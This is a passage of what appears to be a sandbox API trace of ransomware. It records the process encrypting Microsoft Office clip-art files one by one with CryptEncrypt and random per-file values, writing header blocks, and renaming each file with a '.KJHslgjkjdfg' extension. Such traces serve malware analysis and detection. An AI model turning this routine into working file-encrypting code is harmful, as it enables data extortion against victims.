files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.kjhslgjkjdfg")) returned 1 [0200.334] CloseHandle (hObject=0x130) returned 1 [0200.334] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0200.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.334] GetProcessHeap () returned 0x2ef0000 [0200.334] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.335] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.335] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.423] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.423] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.423] GetProcessHeap () returned 0x2ef0000 [0200.424] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.424] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.424] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.424] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.424] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.424] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.425] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1204, lpOverlapped=0x0) returned 1 [0200.426] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210, dwBufLen=0x1210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210) returned 1 [0200.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.426] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1210, lpOverlapped=0x0) returned 1 [0200.426] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.426] SetEndOfFile (hFile=0x130) returned 1 [0200.429] GetProcessHeap () returned 0x2ef0000 [0200.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.429] GetProcessHeap () returned 0x2ef0000 [0200.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.kjhslgjkjdfg")) returned 1 [0200.430] CloseHandle (hObject=0x130) returned 1 [0200.431] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0200.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.431] GetProcessHeap () returned 0x2ef0000 [0200.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.432] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.434] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.434] GetProcessHeap () returned 0x2ef0000 [0200.435] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.435] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.435] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.435] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.435] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.435] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x274c, lpOverlapped=0x0) returned 1 [0200.437] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2750, dwBufLen=0x2750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2750) returned 1 [0200.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2750, lpOverlapped=0x0) returned 1 [0200.437] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.437] SetEndOfFile (hFile=0x130) returned 1 [0200.439] GetProcessHeap () returned 0x2ef0000 [0200.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.439] GetProcessHeap () returned 0x2ef0000 [0200.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.kjhslgjkjdfg")) returned 1 [0200.440] CloseHandle (hObject=0x130) returned 1 [0200.440] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0200.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.441] GetProcessHeap () returned 0x2ef0000 [0200.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.441] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.443] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.443] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.443] GetProcessHeap () returned 0x2ef0000 [0200.443] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.443] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.443] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.443] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.443] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.444] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16b4, lpOverlapped=0x0) returned 1 [0200.445] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0) returned 1 [0200.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.445] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16c0, lpOverlapped=0x0) returned 1 [0200.445] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.445] SetEndOfFile (hFile=0x130) returned 1 [0200.448] GetProcessHeap () returned 0x2ef0000 [0200.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.448] GetProcessHeap () returned 0x2ef0000 [0200.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.kjhslgjkjdfg")) returned 1 [0200.449] CloseHandle (hObject=0x130) returned 1 [0200.450] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0200.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.450] GetProcessHeap () returned 0x2ef0000 [0200.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.450] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.450] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.455] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.455] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.455] GetProcessHeap () returned 0x2ef0000 [0200.455] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.455] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.455] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.456] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.456] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.456] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.456] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.456] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.456] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.456] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.456] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5bfc, lpOverlapped=0x0) returned 1 [0200.457] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c00, dwBufLen=0x5c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c00) returned 1 [0200.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.458] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c00, lpOverlapped=0x0) returned 1 [0200.458] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.458] SetEndOfFile (hFile=0x130) returned 1 [0200.461] GetProcessHeap () returned 0x2ef0000 [0200.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.461] GetProcessHeap () returned 0x2ef0000 [0200.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.kjhslgjkjdfg")) returned 1 [0200.462] CloseHandle (hObject=0x130) returned 1 [0200.463] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0200.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.464] 